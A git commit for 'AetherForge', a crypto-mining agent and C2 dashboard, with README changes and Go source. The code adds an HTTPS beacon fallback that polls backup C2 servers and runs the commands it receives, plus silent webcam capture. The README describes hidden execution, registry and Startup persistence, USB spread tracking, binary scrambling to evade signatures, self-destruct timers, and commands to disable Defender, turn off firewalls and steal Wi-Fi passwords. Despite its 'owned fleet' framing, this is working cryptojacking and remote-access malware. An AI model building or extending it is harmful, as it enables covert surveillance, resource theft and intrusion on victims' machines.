feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
80
README.md
80
README.md
@@ -64,6 +64,8 @@ You configure defaults once in **Calibrate**. You forge once per target profile
|
||||
- **Ravencoin section** — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards
|
||||
- Pool connection status and AI activity panel (Advanced mode)
|
||||
- Matrix stream overlay with mystic word drops (Advanced mode)
|
||||
- **Install funnel** — agents per build/worker over 7 days, new connects today, USB-spread flag
|
||||
- **Operator audit strip** — last operator actions (forge, commands, config save, secret rotate)
|
||||
|
||||
### Fleet Roster (Agents)
|
||||
|
||||
@@ -74,7 +76,8 @@ You configure defaults once in **Calibrate**. You forge once per target profile
|
||||
- Mining ops: pause / resume / restart miner
|
||||
- Recon: sysinfo, list processes, network scan, DNS config, listening ports
|
||||
- System: **Reboot**, **Shutdown**, **Wake-on-LAN** (sends UDP magic packet to agent's MAC address)
|
||||
- Screen: **Screenshot** — captures remote desktop and instantly downloads JPEG in your browser
|
||||
- Screen: **Screenshot** (desktop), **Live view** (3s slideshow while tab focused), and **Camera** (USB/built-in webcam via `camera_snapshot`; Windows/Linux agents need **ffmpeg** on PATH)
|
||||
- **File browser** — `list_dir` / `read_file` (512 KB cap) / upload / download in Crucible when one node is selected (Windows agents)
|
||||
- Admin: PowerShell terminal, file upload, uninstall
|
||||
- **Live stats ticker** — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online
|
||||
- **Auto-sysinfo** — system info is fetched immediately when you select an agent
|
||||
@@ -174,20 +177,68 @@ Use **Send test notification** after **Save Calibration** to verify delivery. Th
|
||||
|
||||
> **Security:** Never paste bot tokens in chat or commit them. Store only in `data/config.json` (gitignored).
|
||||
|
||||
### Fleet task scheduler (Calibrate)
|
||||
|
||||
Under **Calibrate → Fleet Tasks**, schedule remote actions: `on_connect`, `on_reconnect`, `interval_hours`, or daily `cron` (`HH:MM`). Actions include `sysinfo`, `full_sys_check`, `powershell`, `exec`, `pause`, `resume`, `restart`.
|
||||
|
||||
### Operator audit log
|
||||
|
||||
Records forge builds, agent commands, config saves, fleet secret rotation, and task edits. Visible on Dashboard and Calibrate; `GET /api/v1/audit`.
|
||||
|
||||
### Forge connection profile (Advanced)
|
||||
|
||||
Bake **beacon interval**, **beacon jitter %**, and **kill-after-days** (0 = never) into workers for reconnect timing and optional self-destruct.
|
||||
|
||||
### Agent stubs (not shipped)
|
||||
|
||||
- **`bof_execute`** — returns an error; in-memory BOF execution is disabled.
|
||||
|
||||
### Forge hardening & dispense UX
|
||||
|
||||
- **Sigil scramble** (default on) — unique binary hash per forge (PE timestamp + entropy overlay) without changing runtime behavior
|
||||
- **Garble** + **polymorph** + optional **Authenticode** signing — layered static-signature variation
|
||||
- **Dispense Reveal** — full-screen success ceremony with stealth index, binary DNA fingerprint, and download
|
||||
|
||||
### CISA KEV exposure scan (defensive)
|
||||
|
||||
**Full System Check** includes a read-only **CISA KEV** pass aligned with [CISA’s top exploited vulnerabilities](https://www.cisa.gov/uscert/ncas/alerts/aa22-117a) (Log4Shell, ProxyLogon/Exchange, Zerologon on DCs, Citrix ADC, Pulse Secure, F5 BIG-IP, Confluence, ManageEngine, Fortinet, PrintNightmare, VMware vCenter, etc.).
|
||||
|
||||
| What it does | What it does **not** do |
|
||||
|--------------|-------------------------|
|
||||
| Detects installed stacks, services, stale patching, and risky roles on **your** fleet | Does not exploit or weaponize CVEs |
|
||||
| Surfaces `exposed` / `likely` / `clear` per CVE family in the sys check panel | Does not replace formal vuln scanning (Tenable, etc.) |
|
||||
| Optional Telegram ping when critical indicators fire (Calibrate → **KEV exposure**) | Heuristics only — verify with vendor patches |
|
||||
|
||||
Run **Full Sys Check** from Fleet Roster or Crucible on Windows agents for the full KEV block.
|
||||
|
||||
### Fleet ops (recent)
|
||||
|
||||
- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports) from Fleet Roster or Crucible
|
||||
- **Protocol Tunneling** — Cloudflare outbound tunnel, SSH local forward (Windows), WireGuard via Path Tracer; `tunnel_status` / `tunnel_stop` on owned fleet nodes (Fleet Roster + Crucible)
|
||||
- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports, **KEV exposure**) from Fleet Roster or Crucible
|
||||
- **Desktop push** — deploy files to `@desktop/` on workers
|
||||
- **BITS persistence** / **host binary** run modes (Windows, advanced Forge)
|
||||
- **Boot / logon autostart** — Forge `autostart_mode` (registry Run, Startup folder, ONSTART/ONLOGON tasks)
|
||||
- **Path Tracer** — multi-hop WireGuard path builder (dashboard page)
|
||||
- **Protocol tunneling** — operator-facing reach-through on owned fleet (see below)
|
||||
- **Haptic sound** + **glow particles** — optional UI feedback (Settings)
|
||||
|
||||
#### Protocol tunneling (MITRE ATT&CK mapping — honest scope)
|
||||
|
||||
AetherForge exposes **legitimate operator tunneling** for machines you administer — not covert C2 evasion.
|
||||
|
||||
| MITRE technique | AetherForge feature | Scope |
|
||||
|-----------------|---------------------|-------|
|
||||
| [T1572 Protocol Tunneling](https://attack.mitre.org/techniques/T1572/) | Cloudflare outbound (`tunnel_cloudflared`), SSH local forward (`tunnel_ssh_forward`), WireGuard mesh (Path Tracer) | Reach internal hosts / expose agent LAN services on **your** fleet |
|
||||
| [T1071 Application Layer Protocol](https://attack.mitre.org/techniques/T1071/) | Existing WebSocket C2 + optional Cloudflare tunnel to dashboard | Standard HTTPS/WSS to **your** control server |
|
||||
|
||||
**Not built:** DNS-over-HTTPS resolution evasion, SOCKS pivot, SMB tunneling, or features marketed to bypass network filtering.
|
||||
|
||||
**Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`).
|
||||
|
||||
**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`.
|
||||
|
||||
**Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only.
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
@@ -227,7 +278,7 @@ Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entr
|
||||
| `/api/v1/*` REST | HTTP Basic Auth |
|
||||
| `/ws/dashboard` | `?token=<base64-user:pass>` |
|
||||
| `/ws/agent` | Fleet-secret `auth` JSON frame |
|
||||
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header |
|
||||
| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (includes `/agent/beacon`, `/agent/beacon/result`) |
|
||||
| Static SPA + `/api/v1/health` | Open (no auth) |
|
||||
|
||||
---
|
||||
@@ -275,6 +326,23 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need
|
||||
|
||||
**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth.
|
||||
|
||||
### C2 transport (owned fleet)
|
||||
|
||||
Legitimate **MITRE T1071 Application Layer Protocol** usage for machines you administer — not covert DNS/SMTP/FTP tunneling.
|
||||
|
||||
| Layer | Protocol | When |
|
||||
|-------|----------|------|
|
||||
| **Primary** | WebSocket `wss://…/ws/agent` (T1071.001) | Normal operation — live stats, jobs, remote commands |
|
||||
| **Fallback** | HTTPS `POST /api/v1/agent/beacon` + `POST …/beacon/result` (T1071.001) | After WebSocket is down for N minutes (Forge: **HTTPS beacon fallback**, default on when backup URLs are set) |
|
||||
| **Backup hosts** | Same APIs on `backup_server_urls` | Round-robin when primary C2 is unreachable |
|
||||
| **Operator alerts** | Telegram + optional Calibrate `webhook_url` JSON POST (T1071.005 lite) | Connect / offline / threshold events — server-side only |
|
||||
|
||||
Forge **Connection Profile** → enable **HTTPS beacon fallback** and set minutes before fallback (default 3). Fleet secret is sent as `X-Fleet-Secret` on beacon routes (same as other `/api/v1/agent/*` endpoints).
|
||||
|
||||
**Test fallback:** block outbound WebSocket to the control host (firewall rule on `8989`/`443` for `ws` only, or deny `/ws/agent` at the reverse proxy) while leaving HTTPS API open — agent should log `HTTPS beacon` and the dashboard should still receive stats/commands via beacon polling.
|
||||
|
||||
**Diagnostic:** remote command `connectivity_probe` (or startup log line) reports DNS + TCP reachability to C2 and pool hosts — diagnostic only, not a C2 channel.
|
||||
|
||||
---
|
||||
|
||||
## Agent Silence
|
||||
@@ -285,6 +353,9 @@ Every agent operation is **completely silent** — no CMD windows, no PowerShell
|
||||
|----------|-----------|
|
||||
| Process launch | `CREATE_NO_WINDOW` + `DETACHED_PROCESS` syscall flags on all child processes |
|
||||
| Persistence | Scheduled task / registry run key — no user-visible installer |
|
||||
| Registry persistence (Forge) | Optional HKCU/HKLM Run, RunOnce, Explorer Policies Run — value `AetherForge_{worker}`; uninstall removes only agent-created keys |
|
||||
| Boot / logon autostart | Optional Forge `autostart_mode`: HKCU Run, Startup folder shortcut, ONSTART (boot) or ONLOGON tasks — applied on install and self-heal |
|
||||
| Fleet registry ops | `registry_read` / `registry_write` / `registry_delete` on administered Windows agents (allowlisted paths) |
|
||||
| Mining | XMRig / T-Rex / TeamRedMiner run fully hidden |
|
||||
| WMI triggers | PowerShell executed with `-WindowStyle Hidden` |
|
||||
| Spread installs | `--run` flag relaunches silently with detached start |
|
||||
@@ -347,6 +418,9 @@ crypto miner/
|
||||
| GET | `/api/v1/pools/status` | Stratum pool connection states |
|
||||
| GET | `/api/v1/earnings/estimate` | XMR/day estimate |
|
||||
| GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) |
|
||||
| GET | `/api/v1/audit` | Operator audit log (last 50) |
|
||||
| GET/PUT/DELETE | `/api/v1/fleet-tasks` | Scheduled fleet tasks |
|
||||
| GET | `/api/v1/dashboard/spread-funnel` | Install funnel stats (7d) |
|
||||
| WS | `/ws/agent` | Worker connection |
|
||||
| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed |
|
||||
|
||||
|
||||
@@ -19,10 +19,13 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
|
||||
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
||||
"subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "tunnel_status", "tunnel_wireguard":
|
||||
// Always available — read-only or Path Tracer config from server.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
||||
// No forge gate — always available.
|
||||
case "mesh_status":
|
||||
@@ -36,6 +39,10 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool {
|
||||
if c.handleTunnelCommand(action, command, path, data) {
|
||||
return true
|
||||
}
|
||||
|
||||
ok, reason := c.allowRemoteAction(action)
|
||||
if !ok {
|
||||
c.sendCommandResult(action, false, reason)
|
||||
@@ -82,19 +89,6 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "start_tunnel":
|
||||
serverURL := strings.TrimSpace(command)
|
||||
if serverURL == "" {
|
||||
serverURL = c.cfg.ServerURL
|
||||
}
|
||||
msg, err := deploy.StartCloudflaredTunnel(serverURL)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
|
||||
return true
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "subnet_scan":
|
||||
maxHosts := parsePortArg(command, 64)
|
||||
out := deploy.ScanLocalSubnet(maxHosts)
|
||||
@@ -204,7 +198,7 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
}
|
||||
parts = append(parts, msg)
|
||||
}
|
||||
deploy.RemoveFirewallExclusionWindows(c.cfg)
|
||||
deploy.RemoveFirewallExclusion(c.cfg)
|
||||
parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
|
||||
c.sendCommandResult(action, true, strings.Join(parts, "\n"))
|
||||
return true
|
||||
|
||||
151
agent/client/beacon_transport.go
Normal file
151
agent/client/beacon_transport.go
Normal file
@@ -0,0 +1,151 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
type beaconHTTPResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Commands []struct {
|
||||
Action string `json:"action"`
|
||||
TailLines int `json:"tail_lines"`
|
||||
Command string `json:"command"`
|
||||
Path string `json:"path"`
|
||||
Data string `json:"data"`
|
||||
} `json:"commands"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) httpsBeaconEnabled() bool {
|
||||
if !c.cfg.HTTPSBeaconFallback {
|
||||
return false
|
||||
}
|
||||
if c.cfg.FleetSecret == "" {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentClient) httpsBeaconAfterDuration() time.Duration {
|
||||
min := c.cfg.HTTPSBeaconAfterMin
|
||||
if min <= 0 {
|
||||
min = 3
|
||||
}
|
||||
return time.Duration(min) * time.Minute
|
||||
}
|
||||
|
||||
func (c *AgentClient) shouldUseHTTPSBeacon(wsDownSince time.Time) bool {
|
||||
if !c.httpsBeaconEnabled() || wsDownSince.IsZero() {
|
||||
return false
|
||||
}
|
||||
return time.Since(wsDownSince) >= c.httpsBeaconAfterDuration()
|
||||
}
|
||||
|
||||
func (c *AgentClient) apiBaseURL(serverURL string) (string, error) {
|
||||
raw := strings.TrimSpace(serverURL)
|
||||
if raw == "" {
|
||||
return "", fmt.Errorf("empty server URL")
|
||||
}
|
||||
if !strings.Contains(raw, "://") {
|
||||
raw = "http://" + raw
|
||||
}
|
||||
return strings.TrimSuffix(raw, "/") + "/api/v1", nil
|
||||
}
|
||||
|
||||
// beaconOnce performs one HTTPS beacon cycle; the outer Run loop retries WebSocket each iteration.
|
||||
func (c *AgentClient) beaconOnce(serverURL string) error {
|
||||
c.beaconMode.Store(true)
|
||||
defer c.beaconMode.Store(false)
|
||||
c.connected.Store(true)
|
||||
defer c.connected.Store(false)
|
||||
|
||||
client := &http.Client{Timeout: 45 * time.Second}
|
||||
base, err := c.apiBaseURL(serverURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
stats, err := c.collectStatsPayload()
|
||||
if err != nil {
|
||||
log.Printf("[agent] beacon stats: %v", err)
|
||||
}
|
||||
host, _, _ := c.reporter.SystemInfo()
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": c.agentID,
|
||||
"stats": stats,
|
||||
"hostname": host,
|
||||
"wallet": c.cfg.Wallet,
|
||||
"worker_name": c.cfg.WorkerName,
|
||||
"version": config.Version,
|
||||
})
|
||||
req, err := http.NewRequest(http.MethodPost, base+"/agent/beacon", bytes.NewReader(body))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data, _ := io.ReadAll(resp.Body)
|
||||
resp.Body.Close()
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return fmt.Errorf("beacon auth rejected")
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("beacon HTTP %s", resp.Status)
|
||||
}
|
||||
var br beaconHTTPResponse
|
||||
if err := json.Unmarshal(data, &br); err != nil {
|
||||
return err
|
||||
}
|
||||
for _, cmd := range br.Commands {
|
||||
c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) beaconInterval() time.Duration {
|
||||
sec := c.cfg.BeaconIntervalSec
|
||||
if sec <= 0 {
|
||||
sec = 10
|
||||
}
|
||||
return time.Duration(sec) * time.Second
|
||||
}
|
||||
|
||||
func (c *AgentClient) postBeaconResult(payload []byte) {
|
||||
serverURLs := buildServerURLList(c.cfg)
|
||||
if len(serverURLs) == 0 {
|
||||
return
|
||||
}
|
||||
base, err := c.apiBaseURL(serverURLs[0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var body map[string]interface{}
|
||||
_ = json.Unmarshal(payload, &body)
|
||||
body["agent_id"] = c.agentID
|
||||
out, _ := json.Marshal(body)
|
||||
req, err := http.NewRequest(http.MethodPost, base+"/agent/beacon/result", bytes.NewReader(out))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
client := &http.Client{Timeout: 30 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
log.Printf("[agent] beacon result post failed: %v", err)
|
||||
return
|
||||
}
|
||||
io.Copy(io.Discard, resp.Body)
|
||||
resp.Body.Close()
|
||||
}
|
||||
66
agent/client/camera_common.go
Normal file
66
agent/client/camera_common.go
Normal file
@@ -0,0 +1,66 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const maxCameraSnapshotBytes = 2 * 1024 * 1024
|
||||
|
||||
func isJPEG(data []byte) bool {
|
||||
return len(data) >= 3 && data[0] == 0xff && data[1] == 0xd8 && data[2] == 0xff
|
||||
}
|
||||
|
||||
func encodeCameraSnapshotJPEG(raw []byte) (string, error) {
|
||||
if len(raw) < 100 {
|
||||
return "", fmt.Errorf("camera capture too small (%d bytes)", len(raw))
|
||||
}
|
||||
if !isJPEG(raw) {
|
||||
return "", fmt.Errorf("camera capture is not JPEG (got %d bytes)", len(raw))
|
||||
}
|
||||
if len(raw) > maxCameraSnapshotBytes {
|
||||
return "", fmt.Errorf("camera image exceeds %d byte cap (%d bytes)", maxCameraSnapshotBytes, len(raw))
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(raw), nil
|
||||
}
|
||||
|
||||
// parseDShowVideoDevices extracts quoted DirectShow video device names from ffmpeg -list_devices output.
|
||||
func parseDShowVideoDevices(stderr string) []string {
|
||||
var devs []string
|
||||
inVideo := false
|
||||
for _, line := range strings.Split(stderr, "\n") {
|
||||
lower := strings.ToLower(line)
|
||||
if strings.Contains(lower, "directshow video devices") {
|
||||
inVideo = true
|
||||
continue
|
||||
}
|
||||
if inVideo && strings.Contains(lower, "directshow audio devices") {
|
||||
break
|
||||
}
|
||||
if !inVideo {
|
||||
continue
|
||||
}
|
||||
if strings.Contains(lower, "alternative name") {
|
||||
continue
|
||||
}
|
||||
name := extractQuotedDeviceName(line)
|
||||
if name != "" {
|
||||
devs = append(devs, name)
|
||||
}
|
||||
}
|
||||
return devs
|
||||
}
|
||||
|
||||
func extractQuotedDeviceName(line string) string {
|
||||
start := strings.Index(line, `"`)
|
||||
if start < 0 {
|
||||
return ""
|
||||
}
|
||||
rest := line[start+1:]
|
||||
end := strings.Index(rest, `"`)
|
||||
if end <= 0 {
|
||||
return ""
|
||||
}
|
||||
return rest[:end]
|
||||
}
|
||||
45
agent/client/camera_common_test.go
Normal file
45
agent/client/camera_common_test.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestParseDShowVideoDevices(t *testing.T) {
|
||||
sample := `[dshow @ 000001] DirectShow video devices (some may be both video and audio devices)
|
||||
[dshow @ 000001] "Integrated Camera"
|
||||
[dshow @ 000001] Alternative name "@device_pnp_\\?\usb#..."
|
||||
[dshow @ 000001] "USB Video Device"
|
||||
[dshow @ 000001] DirectShow audio devices
|
||||
[dshow @ 000001] "Microphone (USB Video Device)"
|
||||
`
|
||||
devs := parseDShowVideoDevices(sample)
|
||||
if len(devs) != 2 {
|
||||
t.Fatalf("got %d devices: %v", len(devs), devs)
|
||||
}
|
||||
if devs[0] != "Integrated Camera" || devs[1] != "USB Video Device" {
|
||||
t.Fatalf("unexpected names: %v", devs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractQuotedDeviceName(t *testing.T) {
|
||||
if got := extractQuotedDeviceName(`[dshow] "My Cam"`); got != "My Cam" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
if got := extractQuotedDeviceName("no quotes"); got != "" {
|
||||
t.Fatalf("expected empty, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEncodeCameraSnapshotJPEG(t *testing.T) {
|
||||
jpeg := []byte{0xff, 0xd8, 0xff, 0xe0, 0x00, 0x10, 'J', 'F', 'I', 'F'}
|
||||
// pad to >= 100 bytes
|
||||
for len(jpeg) < 100 {
|
||||
jpeg = append(jpeg, 0)
|
||||
}
|
||||
b64, err := encodeCameraSnapshotJPEG(jpeg)
|
||||
if err != nil || len(b64) < 100 {
|
||||
t.Fatalf("encode: err=%v len=%d", err, len(b64))
|
||||
}
|
||||
_, err = encodeCameraSnapshotJPEG([]byte{1, 2, 3})
|
||||
if err == nil {
|
||||
t.Fatal("expected error for non-jpeg")
|
||||
}
|
||||
}
|
||||
105
agent/client/camera_linux.go
Normal file
105
agent/client/camera_linux.go
Normal file
@@ -0,0 +1,105 @@
|
||||
//go:build linux
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func handleCameraAction(action string) (handled bool, success bool, message string) {
|
||||
switch action {
|
||||
case "camera_snapshot":
|
||||
raw, err := captureLinuxCameraJPEG()
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
b64, err := encodeCameraSnapshotJPEG(raw)
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
return true, true, b64
|
||||
case "camera_list":
|
||||
devs, err := listLinuxCameraDevices()
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
if len(devs) == 0 {
|
||||
return true, false, "no V4L2 devices found under /dev/video*"
|
||||
}
|
||||
return true, true, strings.Join(devs, "\n")
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
}
|
||||
|
||||
func listLinuxCameraDevices() ([]string, error) {
|
||||
matches, err := filepath.Glob("/dev/video*")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var devs []string
|
||||
for _, p := range matches {
|
||||
if fi, err := os.Stat(p); err == nil && (fi.Mode()&os.ModeCharDevice) != 0 {
|
||||
devs = append(devs, p)
|
||||
}
|
||||
}
|
||||
return devs, nil
|
||||
}
|
||||
|
||||
func captureLinuxCameraJPEG() ([]byte, error) {
|
||||
devs, err := listLinuxCameraDevices()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(devs) == 0 {
|
||||
return nil, fmt.Errorf("no /dev/video* devices — connect a USB camera or install v4l2 drivers")
|
||||
}
|
||||
device := devs[0]
|
||||
|
||||
if ff, err := exec.LookPath("ffmpeg"); err == nil {
|
||||
out, runErr := exec.Command(ff,
|
||||
"-hide_banner", "-loglevel", "error",
|
||||
"-f", "v4l2",
|
||||
"-i", device,
|
||||
"-frames:v", "1",
|
||||
"-q:v", "2",
|
||||
"-f", "image2",
|
||||
"pipe:1",
|
||||
).CombinedOutput()
|
||||
if runErr == nil && len(out) >= 100 {
|
||||
return out, nil
|
||||
}
|
||||
if runErr != nil {
|
||||
hint := strings.TrimSpace(string(out))
|
||||
if hint != "" {
|
||||
return nil, fmt.Errorf("ffmpeg v4l2 capture failed: %v (%s)", runErr, hint)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if fw, err := exec.LookPath("fswebcam"); err == nil {
|
||||
tmp, err := os.CreateTemp("", "af-cam-*.jpg")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
tmpPath := tmp.Name()
|
||||
_ = tmp.Close()
|
||||
defer os.Remove(tmpPath)
|
||||
|
||||
out, runErr := exec.Command(fw, "-q", "-d", device, "-r", "1280x720", "--no-banner", tmpPath).CombinedOutput()
|
||||
if runErr != nil {
|
||||
return nil, fmt.Errorf("fswebcam failed: %v (%s)", runErr, strings.TrimSpace(string(out)))
|
||||
}
|
||||
raw, err := os.ReadFile(tmpPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return raw, nil
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("camera capture unsupported: install ffmpeg or fswebcam on the agent host")
|
||||
}
|
||||
12
agent/client/camera_stub.go
Normal file
12
agent/client/camera_stub.go
Normal file
@@ -0,0 +1,12 @@
|
||||
//go:build !windows && !linux
|
||||
|
||||
package client
|
||||
|
||||
func handleCameraAction(action string) (handled bool, success bool, message string) {
|
||||
switch action {
|
||||
case "camera_snapshot", "camera_list":
|
||||
return true, false, "camera capture is not supported on this platform"
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
}
|
||||
90
agent/client/camera_windows.go
Normal file
90
agent/client/camera_windows.go
Normal file
@@ -0,0 +1,90 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func handleCameraAction(action string) (handled bool, success bool, message string) {
|
||||
switch action {
|
||||
case "camera_snapshot":
|
||||
raw, err := captureWindowsCameraJPEG()
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
b64, err := encodeCameraSnapshotJPEG(raw)
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
return true, true, b64
|
||||
case "camera_list":
|
||||
devs, err := listWindowsCameraDevices()
|
||||
if err != nil {
|
||||
return true, false, err.Error()
|
||||
}
|
||||
if len(devs) == 0 {
|
||||
return true, false, "no DirectShow video capture devices found (install ffmpeg and connect a camera)"
|
||||
}
|
||||
return true, true, strings.Join(devs, "\n")
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
}
|
||||
|
||||
func ffmpegOnPath() (string, error) {
|
||||
path, err := exec.LookPath("ffmpeg")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("ffmpeg not found on PATH — install ffmpeg to capture USB/built-in camera frames")
|
||||
}
|
||||
return path, nil
|
||||
}
|
||||
|
||||
func listWindowsCameraDevices() ([]string, error) {
|
||||
ff, err := ffmpegOnPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out, err := silentCombinedOutput(ff, "-hide_banner", "-list_devices", "true", "-f", "dshow", "-i", "dummy")
|
||||
// ffmpeg exits non-zero for -list_devices; output is on stderr merged in CombinedOutput
|
||||
_ = err
|
||||
return parseDShowVideoDevices(string(out)), nil
|
||||
}
|
||||
|
||||
func captureWindowsCameraJPEG() ([]byte, error) {
|
||||
ff, err := ffmpegOnPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
devs, err := listWindowsCameraDevices()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(devs) == 0 {
|
||||
return nil, fmt.Errorf("no video capture devices found")
|
||||
}
|
||||
device := devs[0]
|
||||
out, err := silentCombinedOutput(ff,
|
||||
"-hide_banner", "-loglevel", "error",
|
||||
"-f", "dshow",
|
||||
"-i", dshowVideoInput(device),
|
||||
"-frames:v", "1",
|
||||
"-q:v", "2",
|
||||
"-f", "image2",
|
||||
"pipe:1",
|
||||
)
|
||||
if err != nil {
|
||||
hint := strings.TrimSpace(string(out))
|
||||
if hint != "" {
|
||||
return nil, fmt.Errorf("ffmpeg capture failed: %v (%s)", err, hint)
|
||||
}
|
||||
return nil, fmt.Errorf("ffmpeg capture failed: %v (device %q)", err, device)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func dshowVideoInput(name string) string {
|
||||
return `video="` + strings.ReplaceAll(name, `"`, `\"`) + `"`
|
||||
}
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
@@ -53,6 +54,11 @@ type AgentClient struct {
|
||||
// spreadOnce ensures AutoSpreader starts at most once — after the first
|
||||
// successful WS authentication confirms we are on an owned fleet.
|
||||
spreadOnce sync.Once
|
||||
|
||||
// beaconMode is true while commands/results use HTTPS beacon transport.
|
||||
beaconMode atomic.Bool
|
||||
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
||||
wsDownSince atomic.Value // stores time.Time
|
||||
}
|
||||
|
||||
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
@@ -67,6 +73,15 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
}
|
||||
|
||||
